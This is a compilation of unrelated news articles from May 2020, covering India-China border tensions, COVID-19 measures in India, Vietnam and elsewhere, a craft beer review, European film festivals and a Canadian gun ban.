In the midst of escalating tension, India on Thursday said Chinese military was hindering normal patrolling by its troops and asserted that India has always taken a very responsible approach towards border management.

At a media briefing, External Affairs Ministry Spokesperson Anurag Srivastava also strongly refuted China's contention that the tension was triggered by trespassing of Indian forces across the Chinese side.

India's response came two days after China accused the Indian Army of trespassing into its territory, claiming that it was an "attempt to unilaterally change the status" of the Line of Actual Control (LAC) in Sikkim and Ladakh. The LAC is the de-facto border between the two countries.

Pangong Tso lake and Galwan Valley, several areas along the LAC in Ladakh and North Sikkim too witnessed major military build-up by both the sides.

The sources said the Chinese side has erected at least 40-50 tents in the Galwan Valley following which India has also sent reinforcements.

On May 5, around 250 Indian and Chinese army personnel clashed with iron rods, sticks, and even resorted to stone-pelting in the Pangong Tso lake area in which soldiers on both sides sustained injuries.

In a separate incident, nearly 150 Indian and Chinese military personnel were engaged in a face-off near Naku La Pass in the Sikkim sector on May 9. At least 10 soldiers from both sides sustained injuries.

The troops of India and China were engaged in a 73-day stand-off in Doklam tri-junction in 2017 which even triggered fears of a war between the two nuclear-armed neighbours.

The India-China border dispute covers the 3,488-km-long LAC. China claims Arunachal Pradesh as part of southern Tibet while India contests it.

Both sides have been asserting that pending the final resolution of the boundary issue, it is necessary to maintain peace and tranquillity in the border areas.

China has been critical of India's reorganisation of Jammu and Kashmir, and has particularly criticised New Delhi for making Ladakh a union territory. China lays claim over several parts of Ladakh.

Prime Minister Narendra Modi and Chinese President Xi Jinping held their first informal summit in April 2018 in the Chinese city of Wuhan, months after the Doklam standoff.

In the summit, the two leaders decided to issue "strategic guidance" to their militaries to strengthen communications so that they can build trust and understanding.

Modi and Xi held their second informal summit in Mamallapuram near Chennai in October last year with a focus on further broadening bilateral ties.
UC Berkeley officials abruptly changed course and will exclude more than 750 lecturers from a campus-wide hiring freeze, which went into effect April 1 because of the coronavirus pandemic.

The move, announced Wednesday in a letter from Executive Vice Chancellor and Provost Paul Alivisatos to deans and department chairs, creates a clearer path for lecturers with six years or less of experience to return to their roles for the fall semester.

Reviews of lecturer appointments were proving burdensome, according to Alivisatos letter. The reviews also revealed that they were all for positions important to fulfilling our educational mission, university spokeswoman Janet Gilmore said.

This counts as welcome news for the 771 pre-continuing lecturers on the Berkeley campus (those with six years or less of experience). The lecturers, already frustrated by a lack of job stability, viewed the hiring freeze as essentially a precursor to layoffs.

UC Berkeley reappoints most pre-continuing lecturers on a yearly basis, and sometimes semester by semester.

We are glad the hiring freeze no longer applies to lecturers, said Tiffany Page, a global studies lecturer and member of the unions bargaining team. We are still calling on UC to respect the terms of our contract by issuing appointment letters by June 1, so lecturers have time to prep their courses and dont lose health benefits over the summer.

There also are 338 continuing lecturers (those with more than six years of experience) on campus. They have more job protections and were never affected by the hiring freeze.

COVID Resources Coronavirus Map Tracking COVID-19 cases across the Bay Area and California.

Lecturers teach 42% of undergraduate credit hours at UC Berkeley. This raised concern that the hiring freeze might force school officials to cut classes for the fall semester.

Ron Kroichick is a San Francisco Chronicle staff writer. Email: rkroichick@sfchronicle.com Twitter: @ronkroichick
The Directorate of Revenue Intelligence (DRI) has sounded an alert to different customs formations across the country to check smuggling of infrared thermometers into the country from China, officials said on Friday.

The move assumes significance as the demand of such thermometers have spiked in the country due to the coronavirus pandemic.

"The DRI has sent an alert to inland container depots and the cargo airport in Delhi and other places across the country, dealing with the import and export of commodities from abroad, among others asking them to be vigilant about such smuggling," an official said.

He said there is information to suggest that smugglers may under-value or mis-declare these thermometers to illegally import them to India.

A good being brought into the country can be under-invoiced with an intention to evade customs duty to defraud the government exchequer.

In this method, the invoice being filed with authorities for the import of the goods is falsified to show that the price of goods being imported is lower than the actual price being paid by an importer abroad.

India had lost a staggering USD 13 billion, over Rs 90,000 crore, to trade mis-invoicing (that includes under and over invoicing), equivalent to 5.5 per cent of the value of the country's total revenue collections in 2016, according to a 2019 report by the US-based think-tank Global Financial Integrity.

A non-contact infrared/thermal thermometer of a reputed manufacturing firm may cost anywhere between Rs 3,500 and Rs 8,000, according to the websites selling them.

The officials also suspect that the smugglers may exploit the free trade zone of Dubai port to route the goods for sending them to India.

"A strict vigilance is maintained to thwart such attempts to cause damage to the Indian economy and the local manufacturers," the official said, referring to the DRI alert issued recently.

The DRI is a federal economic intelligence agency under the Finance Ministry mandated to check commercial frauds among others.

The customs formations are on alert to thwart any attempts of smuggling. About 2,500 kg of raw material for masks was intercepted by air cargo export here on May 13.

In addition to these, the customs officials had intercepted multiple shipments containing 5.08 lakh masks, 57 litres of sanitiser in 950 bottles and 952 PPE kits at the courier terminal in New Delhi.

These were attempted to be smuggled out of the country to the US, UK and the UAE among others, they said.

The goods were mis-declared as packing materials for pouches to avoid suspicion and further scrutiny by the customs officials.

The export of such goods is prohibited by the government due to the coronavirus outbreak.

Many countries have either increased the production of such products or ordered their import owing to domestic demands as they stare at its possible shortage.

Customs officials in Chennai recently thwarted an attempt to illegally smuggle out over 1,000 kg of red sanders wood to Malaysia.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
Domestic flyers arriving in Kerala must undergo strict home quarantine as per the lockdown guidelines, in view of increasing Covid-19 cases in the state, Health Minister K K Shailaja said on Friday.

Even if the domestic flight services resume, those coming in must remain under strict home quarantine as per the guidelines.

There is no change in that. Most people will be coming from the major hotspots of the country, she said.

Announcing the resumption of domestic flight services from May 25, the Civil Aviation Ministry had indicated on Thursday that it was not in favour of quarantining passengers on short-haul flights.

However, the Assam government has made it mandatory for all air passengers coming to that state to stay in quarantine for 14 days.

Apart from the health department and the local self government institutions, Shailaja said the people of Kerala must also ensure that every returnee to the state remained under strict home quarantine in order to curb the spread of the disease.

We need to strictly keep under observation all those who come fromoutside the state and make sure that they do not come into contact with others including their family members.

They should be effectively remain under room quarantine at their residence, she said.

The state reported 690 cases after 24 more tested positive for coronavirus on Thursday.

As of now over 80,000 people are under observation across the state.

On the death of a 73-year-old woman, who came from Mumbai, on Thursday, the minister said, Khadijakuttycame from Mumbai along with three others. She alighted at Chavakkad. Her son who picked her up from there took her to the govt hospital as she was tired. She was given good care. However, as her condition worsened, had taken a decision to sent her to the medicalcollege. Her swab test was taken and she was tested positive, but she passed away, Shailaja said.

The minister sounded a word of caution that there would be an increase in cases in the coming days as the influx of people coming from abroad and other states would continue.

We cannot prevent anyone from coming. They are our brothers and were suffering there. We need to save those who come here and also those who are here, the Minister said.

Shailaja said the southern state had successfully managed the first two phases of the viral outbreak in January and March.

There were three deaths. But we managed to save the rest of the people including a 93-year-old man, she said.

The Minister further said the situation in the state changed after flight services resumed and the border roads were re-opened after May 7.

Our fatality rate is low and recovery rate is high.

After May 7, when the flight restrictions were lifted and people from other states started coming in, we reported 188 cases.

At least 90 per cent of the positive cases came from outside and the rest are their contacts, she noted. PTI RRT ROH ROH ROH

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Service, Anonymity, and Commemoration

With my aunt working in a hospital emergency room during the COVID-19 pandemic, and another family member currently serving with the US Army in Afghanistan, I have been reflecting on sacrifices made by individuals in service to others. Often, the identity of the helper is unknown to those who receive help. As we observe Memorial Days solemn commemoration of those who died while serving in the US armed forces, I would like to acknowledge the anonymous service given to others by sharing a medal from the collection of the National Gallery of Art. While medals are generally thought of as awards for achievement, bravery, or service, this medal was commissioned as a work of art for collectors. The medal is bronze. Most medals created as works of art were made from bronze since antiquity, and especially during the Renaissance. Bronze is used in military decorations; it is also a material of weapons.

Mico Kaufman (designer), Medallic Art Company (manufacturer), Soldier Carrying a Wounded Comrade [reverse], 1973, bronze, Corcoran Collection (Gift of Clyde C. Trees through subscription to the Society of Medalists), 2015.19.3906.b

The medal, made by Mico Kaufman, is less than three inches in diameter but has a monumental presence. On its reverse, Soldier Carrying a Wounded Comrade, there is no backgroundjust a blank smooth surface making the setting timeless, even while the soldiers helmet and belted trousers anchor it to its specific time and conflict: 1973, Vietnam. The absence of a setting focuses our eye on the soldiers themselves. We see only their backs, not their faces. They could be anyones father or son, brother or uncle. The man on the left carries his comrade over one shoulder. Straining under the weight, he leans in the opposite direction, his left arm held straight in counterbalance. His wounded comrade hangs down his back, arms dangling and shirt fallen to reveal his spine. In an image otherwise sparse in detail, the vertebrae of the wounded soldier express the vulnerability of the human body. No specific wound is depictedand of course, some wounds of war are invisible. Instead the artist has chosen to represent the compassion and camaraderie between brothers in arms. It is an intimate aspect of war recognizable by any soldier. According to the artist, the outline of the soldiers arms represents the three spokes of the peace symbol used to protest the Vietnam War. The medals obverse, or front, shows a long-haired young man playing a guitar, emblematic of the eras peace protests. With this figure, Kaufman expresses within one object a society divided over wartwo sides of the same coin.

Mico Kaufman (designer), Medallic Art Company (manufacturer), Youth Playing a Guitar [obverse], 1973, bronze, Corcoran Collection (Gift of Clyde C. Trees through subscription to the Society of Medalists), 2015.19.3906.a
Vietnamese authorities are considering the possibility of repatriating a 43-year-old British pilot who has been cleared of novel coronavirus disease (COVID-19) but still relies on life support.

Doctors warn his lungs are still severely damaged.

The Briton has tested negative for the novel coronavirus six times in the past 10 days, a strong indicator he has recovered from the disease, Luong Ngoc Khue, head of the Agency of Health Examination and Treatment under the Ministry of Health, said on Thursday.

Doctors at the Hospital for Tropical Diseases in Ho Chi Minh City, where he received his treatment, believe he is unlikely to relapse, Khue continued.

The patients lung capacity has increased to 30 percent, a massive gain compared to 10 percent last week.

Despite the improvement, he is still fully dependent on life support in the form of extracorporeal membrane oxygenation (ECMO), which he has been on for the past 47 days.

A lung transplant is the only way he will be able to live without life support, though experts warn he may also need kidney transplantation.

The British patient was transferred to Cho Ray, the largest general hospital in Ho Chi Minh City, on Thursday for further care.

His lung transplant will also be carried out at Cho Ray when a suitable donor is found.

While many people have volunteered to donate parts of their lungs, doctors still prioritize seeking a brain-dead registered donor.

The health ministry is facing several legal issues regarding the surgical procedure as it has not been able to contact his close family members, namely a parent, spouse, or child, according to Thanh Nien (Young People) newspaper.

Vietnamese authorities have so far only been able to contact a distant relative in the UK.

Aside from the lung transplant, the health ministry is mulling over bringing the Briton back to his home country.

However, this would only be possible if his health condition improves.

Several foreign clinics in Hanoi have offered to sponsor the repatriation of the British national, Khue stated.

The number of COVID-19 patients in Vietnam stands at 324, with 266 having recovered, according to the health ministry's statistics. No deaths from the disease have been reported.

No new infections in the community have been documented in the Southeast Asian country in the past 36 days.

Like us on Facebook or follow us on Twitter to get the latest news about Vietnam!
By Express News Service

NEW DELHI: As thousands of migrants from across India travel back to their hometowns, the Centre is banking on the Mahatma Gandhi Rural Employment Guarantee Scheme (MGNREGS) to provide employment.

The Union Jal Shakti ministry has written to all states to identify work-related to groundwater rejuvenation, irrigation and water conservation keeping in mind the approaching monsoon season.

As part of Centres Rs 20 lakh crore stimulus package to boost the economy, Union finance minister Nirmala Sitharaman, on Sunday, announced that the government will allocate an additional Rs 40,000 crore to MGNREGS to provide employment.

The earlier budget estimate for the scheme was Rs 61,000 crore and she said it will help generate nearly 300 crore person-days in total.

In a directive to all states, the Jal Shakti Ministry said that rejuvenation of traditional water bodies for the community are permissible works under MGNREGS and districts may, therefore, undertake a quick and comprehensive census of such traditional water bodies with details of their present status.

All district authorities be asked that all available resources, by converging available programmes, may be used for water conservation. MHA allowed MGNREGS work on April 15 during lockdown with priority to be given to irrigation and water conservation works, it said.

The ministry pointed out that apart from water conservation and irrigation activities allowed under MGNREGS, a number of related activities are taken up under other schemes being implemented by the Ministry of Jal Shakti.

These include augmentation of existing water resources, groundwater recharge, rainwater harvesting and greywater management for reuse and recharge. Renovation, including desilting, construction of inlets/outlets, catchment area treatment can be taken up on priority. Such will also ensure water source availability in rural areas, it said.
Despite school being closed, The Woodlands Christian Academy was determined to celebrate all of its kindergarten graduates this year with a parade ceremony and lots of gifts.

The graduates, around 40 of them, were decked out in white caps and gowns as they drove past the crowd of teachers and administrators holding signs of encouragement in front of the school. As they passed the entrance they were handed a graduation gift and a bag of their belongings from their classroom.

Normally we have a large ceremony on campus, and because of the situation we had to do it in vehicles, said Patty Bruha, principal of TWCA lower school.

This year, the kindergarten graduation was going to be held in the schools brand new high school building, before COVID-19 closed schools for the remainder of the year. So, weve adapted and tried to make it fun for the kids as much as possible.

Gov. Greg Abbott and the TEA released a list of requirements for graduation ceremonies earlier this month. Among the requirements for vehicle graduations included screening attendees for signs and symptoms of COVID-19, no rehearsals, and gloves were to be worn if school officials were going to hand the graduates anything, among others.

Attendees at the graduation, held May 21, lined up their vehicles along the usual drop-off route in front of the school, decorated in the school colors and encouraging messages. As the graduates passed by in their cars, a number of them smiled and waved from their sunroofs, beaming as their supporters congratulated them.

Were celebrating them, and were celebrating differently, but were still celebrating them and the accomplishments that theyve made this year, Bruha said. Were just excited to do a little something for them.

Head of School Julie Ambler made sure to wave and congratulate each graduate as they passed by, telling them how much they were missed by their teachers and the administration. But as proud as she is of the students, she is just as proud of her staff.

Im proud of my lower school team because theyve had to be very creative, and come up with a great way to celebrate these students, Ambler said.

Typically, the kindergarten graduation ceremonies at TWCA are just as well attended as the high school graduations, Bruha said. Moving up to first grade is a big deal for the Warriors.

Staff handing out graduation gifts and the students belongings were all masked and gloved, and social distancing was strongly encouraged.

I think its the best way we can maintain what we try to do, going above and beyond for our families, said Blair Moon, Director of Market for TWCA.

Before the graduation ceremony, all kindergarten graduates were given a yard sign to showcase their accomplishments at home.

jamie.swinnerton@chron.com
It noted that the two will eliminate 99% of import tariffs within a decade, which will help Vietnam increase its exports to the bloc, which accounts for some 15% of the country's total. Japanese enterprises working in Vietnam are also expected to benefit from the deal.

As the world third-largest apparel exporter behind China and Bangladesh, the space for Vietnam to bolster its garment exports remains huge. Several Japanese companies are producing apparel in Vietnam, notably Fast Retail - the owner of the well-known Uniqlo brand - and also manufacturing auto spare parts and machinery for export to Europe. The EVFTA will therefore help them expand production and enter Europe more easily.

Conversely, the EU ships aircraft and automobiles to Vietnam. With a population of around 97 million, the third-largest in Southeast Asia, and with an average income per capita of about US$3,500 each year, Vietnam is forecast to see growing domestic consumption.

As the first country in Southeast Asia to normalise economic activities following the COVID-19 pandemic, the EVFTA is expected to boost Vietnams exports in the near future, the paper wrote.
The Garda Community Policing Unit in Longford provided the Center Parcs goods to nursing homes across the county over the last two months

The Garda Community Policing Unit in Longford were involved in a very special trip to the Capuchin Day Centre in Dublin city centre in which they delivered food and other items from Center Parcs to the centre.

Since the the Covid-19 crisis began they have been at the forefront of reassuring scared communities that the gardai are still active and present through using social media, high visibility beat and bike patrols and in regular visits to community leaders.

For the Longford unit, one relationship in particular has proven very beneficial to isolated and vulnerable groups in the community.

General manager of Center Parcs contacted the community gardai to donate produce from their stores to those in need. With Center Parcs closed, the food and other products in it were lying idle.

Over the past two months, the unit has provided the Center Parcs goods to nursing homes across Co Longford, to children's care homes, homeless shelters, older persons groups and to the local asylum centre in Longford town.

Last week, Center Parcs donated several thousand euro of goods, including baby formula, that the Longford gardai brought to the Capuchin Centre in Dublin.

Distributing over a thousand meals a day, the centre provides a much needed resource to the most vulnerable families in the capital.

The Longford gardai met staff there, including Alan Bailey, a former garda sergeant who has volunteered at the centre for almost 40 years.

There they were given a tour of the facilities and shown the work of the centre.

According to Sgt Lionel Mullally, the Center Parcs have been very generous in working with them and in supporting the most needy groups in Longford and the Community Policing Unit were delighted to help out.
Looking for a crisp and clean beer, but one that goes above and beyond the usual flavor profile of a pilsner? Drafting Table Brewing Companys Professional Pils is an excellent choice, and our pick for Beer of the Week.

Drafting Table, located in the metro Detroit suburb of Wixom, opened in 2016. Co-owners, and husband and wife, Aaron and Kristin Rzeznik, met at Michigan State University, where both were design students. Aaron was studying landscape architecture, while Kristin was working towards becoming an interior designer. Aaron fell in love with craft beer after several trips traveling through Europe. Upon his return, he began homebrewing in his apartment. He and Kristin started dating, and on their second date, her baptism into craft beer happened.

The duo headed to Crunchys in East Lansing for Oberon Release Day for their second date. Aaron was drinking a Hopslam, and he turned the wrong way, and he accidentally dumped his beer, and it went all over me, and all over my lap, Kristin said. It was kind of embarrassing at the time. In his defense, Aaron does claim that it was only his first beer of the night.

We chatted with the Rzezniks recently, to learn more about Drafting Table, and to discuss our Beer of the Week, Professional Pils.

My love for beer came through my travels to Europe Aaron said. I got to try plenty of wonderful beer over there, and got a lot of the styles that we tend to focus on today. Aaron is now the head brewer at Drafting Table, while Kristin does a little bit of everything, including designing the brewery, and putting that degree from MSU to use.

Asked what the philosophy behind there beers is, and Kristin responded. We create and brew beers from a design and engineering point of view, she said. We are very mindful of the ingredients, the chemistry involved in brewing, and are very meticulous about all our brewing, cellar, packaging, and sanitation processes. We brew beers that we are proud to brew, and we brew beers we link to drink.

Our ultimate goal is to bring family, friends, neighbors, and fellow beer lovers together, even though thats hard right now.

Drafting Table Brewing Company owners Aaron and Kristin Rzeznik.Courtesy Photo, used with permission.

The current situation has been a challenge for brewery, just like it has been for all of us. Im not going to lie, its been probably the most difficult time in our lives, Kristin said. However, I feel like we adjusted quickly and effectively, so that we could continue making and selling beer. Even though that was very difficult, we had no choice. It was either adapt or dont survive.

Drafting Table ended up shutting down for about 2 1/2 weeks while they figured out the safest ways to make and sell beer. During this time, they also worked on some new label art, rebuilt their website, and brewed and packaged lots of beer so they were well stocked when they reopened.

The team pivoted the business from a pub-based model, to one focused entirely on producing and packaging beers for distribution. We are canning everything right now, selling it through our website for curbside pick up, and selling what we can to our distributor, M4 CIC so that liquor stores across Michigan can sell it, Kristin said. Our footprint is still small, but we are excited to see photos of our products around the state including Grand Rapids.

Which is where I came across a nice looking four-pack of Professional Pils, at Rishis International Beverage, just begging to be picked as Beer of the Week.

In the before time, beer samples were the norm at Drafting Table in Wixom. Currently, they are open for to-go beers, and you can find their cans in distribution across the state.

Professional Pils is a German style Pilsner. Its brewed with noble hops, lending distinctive herbal and floral flavors to the beer, Kristin said.

Pilsners can be one of the hardest beers to brew because there is nothing to hide behind, no huge hops to cover up an off flavor, no additives to gloss over an error. It pretty much has to be perfect from the get-go, from aroma, to flavor, color and clarity.

The inspiration for this beer came from Germany, Aaron said. There are differences between a Germany style pilsner, and Czech style pilsner. Water profile is always a big deal in the brewing process, but especially so with these styles. It tends to be a harder water profile with these German pilsners, versus a very soft profile with the Czech pils, Aaron said. The harder water in this beer is reflected in a bigger hop flavor profile being present than what you might find in a traditional Czech pilsner.

This beer is Aarons favorite beer out of all the beers we brew, Kristin said. In the last two years, this beer has really taken off as both a best seller in our taproom as well as in distribution. Its sessionable, yet has a great hop flavor. Its a great go-to beer.

I have to agree with her, this pilsner goes above and beyond what you might expect from this style. If youve had a Pilsner Urquell, youve had a Czech pilsner, and you know how very, very light it is in taste. Professional Pils is not that. Its got got a lovely aroma, a crystal clear view, and a nice, beautiful hop profile. This is delicate hopping, where you can really pick up some nuance, as opposed to just being punched in the nose with bitterness. I feel the Pro Pils is a step above most pilsners in its higher level of complexity of flavors, while still being very easy to drink. Its delicious, and nice and crushable at 5.3% ABV.

Some of the beers available in cans from Drafting Table Brewing Company in Wixom.Courtesy Photo, used with permission.

In addition to Professional Pils, here are some other beers to seek out from Drafting Table Brewing Company, with descriptions from Kristin:

Rezolute IPA: Named after Aaron (his nickname is Rez). Its brewed with a melody of Pacific Northwest hops exhibiting assertive citrus and pine aroma and flavor making it a favorite for any hop head. Its 7.7% abv.

Witty Yank: A refreshing and light bodied American wheat ale brewed with coriander and zest from grapefruit and oranges. 5% abv. Its perfect for this weekends weather.

Proud Lake Porter: Smooth drinking porter with roasted notes that complement the earthy, oak, and chocolate flavors. Named after a local recreational area, Proud Lake Porter reminds us to escape to a quieter place and enjoy the natural world around us. 6% abv

Tarty Slip: Fruited Berliner Weisse series that is tart in flavor and pink in color. The fruit changes each season. 5% abv Spring = Raspberry Summer = Cherry Fall = Blackberry Winter = Cranberry

Orange Brewlius: This Milkshake IPA is an orange creamsicle-inspired ale brewed with lactose, malt, oats, and wheat, and fermented with blood orange, tangerine, and vanilla. Enjoy the classic hoppiness of an IPA with a soft, creamy fruited finish. 6% abv

On our search for Michigan's Best Brewery in 2016, Aaron let Amy tap a firkin.

We visited Drafting Table Brewing Company on our search for Michigans Best New Brewery in 2016. They had just opened a few months before, and were working hard to keep the tap lines filled. We loved the big, open, bright space in the brewery. Sunlight streams in through floor to ceiling windows on three sides, and the space is warmed up by the use of lots of wood. Its modern, yet comfortable spot to enjoy a beer or two.

The pub is currently closed to guests, but you can order beer ahead and do curbside pick-ups.

Professional Pils cans lined up and ready to head out from Drafting Table Brewing Company in Wixom.Courtesy Photo, used with permission.

Thank you to everyone who is supporting small and local businesses, especially during this time, Kristin said. Youre purchase, even if its only for a 4-pack, is greatly appreciated and truly does make a difference.

Drafting Table Brewing Company

49438 Pontiac Trail

Wixom, Michigan 48393

(248) 956-7279

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Gonzo and Amy stopped by Drafting Table on their search for Michigan's Best New Brewery in 2016.

More Beer of the Week coverage:

Mango Gold-A tart refresher from Mitten Brewing Company (May 15)

Refreshin Session Pack-A new low cal, low ABV variety pack from Shorts Brewing Company (May 8)

Tree Love-A new low cal offering from Cheboygan Brewing (May 1)

Crescent Fresh IPA-A fresh and fun IPA straight out of East Lansings Ellison Brewery (April 24)

Monkey Mouth IPA - A tasty, balanced beer from Grand River Brewery in Jackson. (April 17)

Jai Alai - Another great springtime beer from our friends at Cigar City in Florida. (April 10) It's our nod to Spring Break, which we didn't get to enjoy this year.

Rainmaker - A pale ale from Stormcloud. (April 3)

Oberon - An easy choice from Bells. (March 27)
Source: Xinhua| 2020-05-22 20:57:25|Editor: huaxia

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KUNMING, May 22 (Xinhua) -- The 15th meeting of the Conference of the Parties to the Convention on Biological Diversity will be delayed due to the novel coronavirus pandemic, according to its organizer.

The event under the United Nations was originally scheduled to be held from Oct. 15 to 28 in Kunming, capital of southwest China's Yunnan Province, with the theme of "Ecological Civilization: Building a Shared Future for All Life on Earth."

The venue of the meeting will remain the same, but the time will be determined at a later date, Gao Zhengwen, an official with the Yunnan provincial bureau of the ecology and environment, told a press conference Friday, marking the International Day for Biological Diversity.

Also on Friday, Yunnan released a white paper on the province's biological diversity, the first of its kind in China, said Gao.

Accounting for only 4.1 percent of China's territorial area, Yunnan has more than 50 percent of the country's biological species, according to the white paper.

The province has established 166 nature reserves at different levels, protecting 85 percent of important species, including Asian elephants and Yunnan golden snub-nosed monkeys, it said. Enditem
Vietnamese air conditioner manufacturers are increasingly using sophisticated technologies as they jostle for market share in a competitive market.

A customer shops for an air conditioner at a shopping mall in HCM City

Getting an air conditioner at a reasonable price and with useful features is not easy.

The most popular are 1-1.5 HP machines with inverters, timers and touch control from Toshiba, Daikin, LG, and Panasonic, which cost 8-12 million VND (345-515 USD).

However, non-inverter products from certain brands like Kangaroo and Sunhouse cost only half those prices.

Asanzo has just launched its iKool air conditioner line at attractive prices starting at only 3 million VND.

Le Xuan Hoan, general director of Kangaroo Vietnam, said many products are high-priced because of the big brand tag attached to them, and their actual cost could be much lower.

Vietnamese brands may be cheap but they still come equipped with various technologies such as ion generation, dehumidification and others to combat bacteria and odour.

Nguyen Dai Thang, general director of Sunhouse Group, said nowadays products made by both small and large brands are almost identical.

Even low-priced brands come with warranties and a promise to exchange for a new one if there is a technical defect in the first two years, according to Asanzo.

Ho Kim Hong, owner of an electronics store in HCM Citys Tan Binh district, said air conditioners with and without inverters both have advantages and disadvantages. Those with inverters cost double or triple, and repairs also cost much more due to the integration of many technologies, he said.

Nguyen Van Chung, a repairman, said those with inverters help save electricity.

Electronics stores in HCM City such as Nguyen Kim and Thien Hoa said demand for air conditioners has recently skyrocketed due to the hot weather.

Nguyen Tuan Bao, sales director at Nguyen Kim Electronics Centre, said that shops and supermarkets in HCM City usually offer discounts of only 10 or 15 percent, but due to the very hot weather now they are offering discounts of 20-50 percent on fans and air conditioners.

Demand is expected to remain strong since the heat wave is expected to continue for a few weeks, Bao said.

Small electronics shops are also reporting higher sales of cooling products.

A shop owner on Nam Ky Khoi Nghia atreet in District 3 said sales of fans, air conditioners and fruit juicers and blenders have risen significantly.

Demand is expected to continue rising in the coming months, and her sales could go up by 30-40 percent, she said.

Both large stores and shops are offering promotions to boost sales.

Besides the discounts, they also have promotions. Most are offering free delivery and installation and payment in instalments with zero interest./.VNA
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As American film festivals wrestle with the challenge of presenting their programs online  and whether its even worthwhile  the most prominent European festivals are taking a different approach. The Cannes, Locarno, and Karlovy Vary film festivals are taking the pandemic as an opportunity to reinvent their impact on film culture.

Within the next two weeks, these festivals will make their announcements around programming and exhibition: Cannes will announce a lineup of films, despite its inability to hold a physical event this year; instead, the festival laurels will function as a symbol of curatorial endorsement. Julys Karlovy Vary will take advantage of the Czech Republics decision to reopen its theaters earlier this month by unveiling a traveling program of films for smaller audiences around the country. Locarno, which typically welcomes thousands of visitors to the Swiss vacation town in August, will instead hold a competition for international and Swiss film productions that have been halted due to the pandemic. The deadline for that competition arrives next week, which is also when Karlovy Vary plans to announce its traveling lineup.

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The pandemic has turned online programming into a hot-button topic, inspiring debates on everything from premiere status to sales prospects. However, these three festivals have largely worked around these conversations in favor of new initiatives.

All three festivals resisted the idea of going virtual, with the exception of their markets. The worlds largest film market, the Marche du Film, will launch an online edition June 22, while Karlovy Varys own market will take place online in July. Locarnos Open Doors program will spotlight conversations surrounding the South Asian film industry in August.

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European and American film festivals occupy very different ecosystems. In Europe, these events hold greater cultural prestige and are a matter of national pride, as well as coordinated legislation: the International Federation of Film Producers (FIAPF) has provided oversight for festival policies since 1933. The organization, which accredits 45 festivals from 29 countries across five continents, uses an intricate grading system to accredit high-end festivals (Cannes, Karlovy Vary, and Locarno are all considered A festivals). (By contrast, America has only the Film Festival Alliance, a non-profit founded with support from IFP five years ago.)

At its core, FIAPF represents the needs of producers, and it has been a crucial intermediary as film representatives navigate thorny questions about the prospects of premiering online or waiting for future opportunities. Covid-19 hit the whole industry fast, including festivals, said Florence Girot, the festivals director for FIAPF. The first step was to call for solidarity both between the industry operators and festivals and within the festivals community in order to reinforce confidence in the ability of the sector to adjust.

The organization plans to launch a dedicated blog with a calendar of accredited festivals, as well as the new forms they will take in the weeks ahead. Girot said the organization may include non-accredited festivals in the calendar as well. This period of time calls for straightforward and clear information, she said.

It also demands a reality check. FIAPF has adapted the relevant rules of its accreditation program to provide festivals with greater agility to respond to the crisis, Girot said. Festivals that go online have not lost their accreditation standing, and the organization hasnt pushed back on every festival considering online options. In fact, FIAPF started a dialogue between festivals and producers last year about the potential to engage audiences online.

We think that each festival is in the best position to decide on whether going online is consistent with its communitys expectations and its own history, Girot said. Decisions made at that time allow us to offer guidance for the accredited festivals interested in moving online today while reassuring those who have to make a decision about allowing their films to be presented this way.

For Locarno, the online concept felt out of sync with the nature of the festival. The Swiss event caters to cinephiles with its international competition, much of which features boundary-pushing new work from rising filmmaker talent. At the same time, its outdoor Piazza Grande section provides a platform for higher-profile films, including studio releases. And while the festival could have made some of its discovery titles available online, they would have had a harder time gaining much attention.

If we chose to go online in order to defend those small films, then wed also lose in the process what makes Locarno what it is, this wide range of programming, said Locarno artistic director Lili Hinston. In that sense, its not good even for those films, because one of the strengths of Locarno is to introduce some very radical propositions together with bigger films. Thats what creates their value and allows them to enter the film industry. (Previous Locarno hits opening virtually this summer range from Golden Leopard winner Vitalena Varela, an austere and experimental drama from a Portugal, and the Joseph Gordon-Levitt thriller 7500.)

Instead, Locarno salvaged its sponsorships by creating a new competition for shuttered productions. The winners will be announced August 15, with two separate prizes of 70,000 Swiss francs going to each category. During that time, Locarno will also showcase its short films online and stream some films that were well received at the festival in previous years.

We arent letting people down, Hinston said. We will try to shed some new light on the festival history with our archives and try to propose to the audience another way of curating, because in a year like this where everything has been blown up, we can experiment with our program and do things that we wouldnt have been able to do in a normal year.

Hinston added that all the competition films invited to the 2020 edition have been offered slots at the 2021 festival. Thats also the case at Karlovy Vary, which had completed about 60 percent of its program by the time it was canceled. We are trying to secure the local aspect, which is in this current situation more important, said artistic director Karel Och.

The traveling program, which will be announced next week, will play to smaller to audiences to ensure social distancing. Och said the festival contacted a range of theaters, including multiplexes, about participating in the roadshow. (Theaters in the Czech Republic reopened May 11, and garnered $716,000 from the top 20 movies in release last weekend.) The lineup may include some local premieres, but the program is focused on older films.

When it comes to the core of the selection, the general approach is to extend the life of the new films, Och said, noting that their events also allowed them to maintain sponsorship as they look ahead to 2021. Its important to survive for next year, and thats looking promising these days.

Och said film representatives entered a gentlemens agreement with the festival to make their titles available as world premieres next year. That arrangement goes well beyond FIAPFs jurisdiction. We believe that we need to be more flexible and look less at the regulations, Och said. Our attitude in general is to be as inviting as possible to the films. Nobody really knows when things will go back to normal.

Cannes representatives declined to comment on their own decisions in advance of its program announcement, but the other summer festivals mused on the unique challenges it faces. Cannes is Cannes, so we will never know the complexity of the pressure theyre under, Och said. I dont think anybody can judge any other festival.

Said Hinston, Cannes helps some movies to exist. But having gone through this sort of decision process, I know its extremely difficult to build a lineup.

Meanwhile, the major fall festivals continue to navigate unpredictable terrain. The Toronto International Film Festival has said that it is exploring some virtual aspects, while Venice, New York, and Telluride are expected to be mostly local events, if they can happen at all. The uncertainty of the pandemic has even lead to speculation about which festivals will be feasible in 2021, as well as what form they should take. Nobody knows anything, Och said, but everybodys trying to survive.

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Whether their ideological difference matters should they win the White House is hardly clear. It is unlikely that much of Warrens agenda, such as expanding health insurance to cover all Americans, could win approval in Congress. Shed probably like him to go further left than he plans to go, said Barney Frank, the former Democratic congressman from Massachusetts who worked with both of them in Congress. But hes not going to be able to go as left as hed like to go.
Indigenous hunters in southwestern Manitoban seem unaffected by the recent federal gun ban  at least, those who recently spoke with The Brandon Sun.

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This article was published 21/5/2020 (609 days ago), so information in it may no longer be current.

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Indigenous hunters in southwestern Manitoban seem unaffected by the recent federal gun ban  at least, those who recently spoke with The Brandon Sun.

Referring to the mass shooting by a lone gunman in Nova Scotia in mid-April that left 22 people dead, Prime Minister Justin Trudeau banned 1,500 models and variants of assault-style firearms.

